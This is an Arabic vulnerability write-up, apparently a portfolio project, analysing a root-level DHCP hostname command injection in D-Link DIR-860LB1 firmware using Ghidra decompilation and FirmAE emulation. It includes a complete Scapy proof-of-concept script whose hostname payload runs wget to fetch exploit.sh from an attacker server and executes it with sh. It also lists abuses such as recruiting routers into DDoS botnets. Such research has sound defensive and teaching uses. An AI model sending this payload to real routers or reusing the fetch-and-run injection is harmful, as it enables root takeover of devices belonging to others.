
تحليل ثابت (Ghidra) وإنشاء حزم مخصص (Scapy) يوضحان ثغرة حقن أوامر DHCP على مستوى الجذر (CVE-2025-14659) في برنامج D-Link الثابت
المؤلف: Peter Lin
التاريخ: مايو 2026
ملخص المشروع: أبلغ CVE-2025-14659 عن ثغرة حقن أوامر تستهدف مكوّن DHCP daemon الموجود في جهاز التوجيه اللاسلكي D-Link DIR-860LB1 الذي يعمل بالبرنامج الثابت v203b03. قد تسمح ثغرة حقن الأوامر هذه للمهاجم بتنفيذ أوامر عشوائية بصلاحيات root على جهاز التوجيه المستهدف عندما يقوم عميل DHCP بتجديد عقد إيجار قائم باستخدام اسم مضيف ضار. سأقوم باستخراج البرنامج الثابت لجهاز DIR-860LB1 وتحديد الخلل الموجود في DHCP daemon (udhcpd) من خلال التحليل الساكن باستخدام Ghidra. ثم سأستخدم محرك محاكاة مثل FirmAE لمحاكاة بيئة جهاز التوجيه هذا، وإثبات هجوم إثبات المفهوم ضد هذا الهدف.
udhcpd (DHCP Daemon)بالنظر إلى الدالة udhcpd_main في Ghidra، تقع الثغرة مباشرة داخل كتلة case 3 (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() دون تعقيم أحرف shell:
system(acStack_454);
نظرًا لأن الخدمة تعمل بصلاحيات root، فإن إضافة أحرف shell الوصفية (مثل ; أو |) إلى اسم المضيف تسمح للمهاجم بتنفيذ أوامر نظام عشوائية.
cve_poc.py)يحاكي هذا النص الوظيفي Scapy عميلًا ضارًا يطلب تجديد عقد الإيجار باستخدام حمولة اسم مضيف محقونة:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
إذا استُغلت الثغرة في الواقع، يمكن للمهاجم استخدامها من أجل:
/tmp) لتجنيد العتاد في شبكات DDoS.إخلاء المسؤولية: تم إنشاء هذا المشروع لأغراض تعليمية بحتة، وبناء ملف الأعمال، وأبحاث الأمن الدفاعي.